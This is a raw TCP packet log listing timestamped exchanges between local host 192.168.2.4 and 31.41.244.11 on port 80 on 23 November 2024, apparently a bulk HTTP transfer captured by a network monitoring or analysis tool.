Nov 23, 2024 03:21:12.598608017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.598861933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.598908901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.598970890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.599015951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.600220919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.600243092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.600269079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.600286961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.601011038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.601058006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.601133108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.601177931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.602310896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.602356911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.602380037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.602426052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.603285074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.603416920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.603467941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.604475975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.604567051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.604621887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.605559111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.605606079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.605662107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.606604099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.606694937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.606739044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.606827974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.606870890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.607875109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.607991934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.608038902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.609004974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.609117031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.609164953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.610137939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.610184908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.610263109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.610605001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.611267090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.611318111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.611372948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.611423969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.612391949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.612435102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.612498999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.612543106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.613529921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.613576889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.613641024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.613684893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.614675045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.614813089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.614861012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.615832090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.615961075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.616008043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.616957903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.617002964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.617053032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.618082047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.618127108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.618165016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.618602991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.619205952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.619318008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.619364023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.620359898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.620466948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.620523930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.621491909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.621541977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.621603966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.622606993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.622648954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.622693062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.622765064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.622808933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.623776913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.623823881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.623864889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.623909950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.624912977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.624954939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.625024080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.625067949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.626049995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.626096010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.626135111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.626174927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.627203941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.627321959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.627366066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.628341913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.628408909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.628459930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.629478931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.629528046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.629582882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.630608082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.630680084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.630731106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.630784035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.630825996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.631764889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.631812096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.631876945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.631921053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.632898092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.632953882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.632989883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.633035898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.634021044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.634066105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.634130001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.634176970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.635154963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.635253906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.635297060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.636293888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.636415958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.636464119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.637455940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.637502909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.637540102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.638603926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.638641119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.638655901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.638712883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.639707088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.639760017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.639801025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.640867949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.640913963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.640970945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.641016006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.641998053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.642113924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.642158985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.643147945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.643246889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.643296957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.644270897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.644320011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.644375086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.645438910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.645483971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.645570993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.646605015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.646617889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.650726080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.798499107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.798515081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.798548937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.798568964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.798911095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.798964977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.798993111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.799031973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.799968958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.800021887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.800060987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.800101995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.801098108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.801151991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.801196098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.801234961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.802227020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.802283049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.802318096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.802386999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.803356886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.803406000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.803461075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.803510904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.804522991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.804568052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.804608107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.804656029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.805651903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.805705070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.805763960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.805819988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.806759119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.806809902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.806864977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.806906939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.807897091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.807950020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.807987928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.808098078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.809031010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.809079885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.809159040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.809202909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.810190916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.810240984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.810283899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.810324907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.811310053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.811362028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.811428070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.811539888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.812457085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.812505960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.812562943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.812622070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.813647985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.813699007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.813755989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.813793898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.814729929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.814774036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.814831018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.814881086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.815865040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.815916061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.815974951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.816107035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.817002058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.817073107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.817110062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.817152023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.818144083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.818243980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.818258047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.818299055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.819273949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.819324970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.819381952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.819426060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.820424080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.820468903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.820529938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.820574045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.821566105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.821613073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.821675062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.821726084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.822693110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.822725058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.822786093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.822829008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.823843002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.823884964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.823929071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.823996067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.825002909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.825052023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.825253963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.825298071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.826134920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.826157093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.826180935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.826196909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.827253103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.827373981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.827397108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.827413082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.828402996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.828484058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.828506947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.828548908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.829535007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.829580069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.829624891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.829673052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.830660105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.830709934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.830765009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.831015110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.831806898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.831852913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.831911087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.831979036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.832951069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.832999945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.833039999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.833201885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.834081888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.834131956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.834188938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.834285021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.835216999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.835263968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.835325003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.835369110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.836378098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.836424112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.836458921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.836503029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.837502956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.837546110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.837608099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.837714911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.838650942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.838695049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.838738918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.838788986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.839792967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.839837074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.839922905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.839967012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.840914965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.840961933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.841032028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.841078043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.842067957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.842107058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.842175961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.842214108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.843199968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.843245029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.843285084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.843324900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.844356060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.844429970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.844459057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.844501972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.845465899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.845520020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.845568895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.845649004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.846618891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.846736908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.846767902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.846784115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.847748041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.847810984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.847872972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.847914934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.848901987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.849010944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.849019051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.849052906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.850028038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.850104094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.850136042 CET	80	49760	31.41.244.11	192.168.2.4
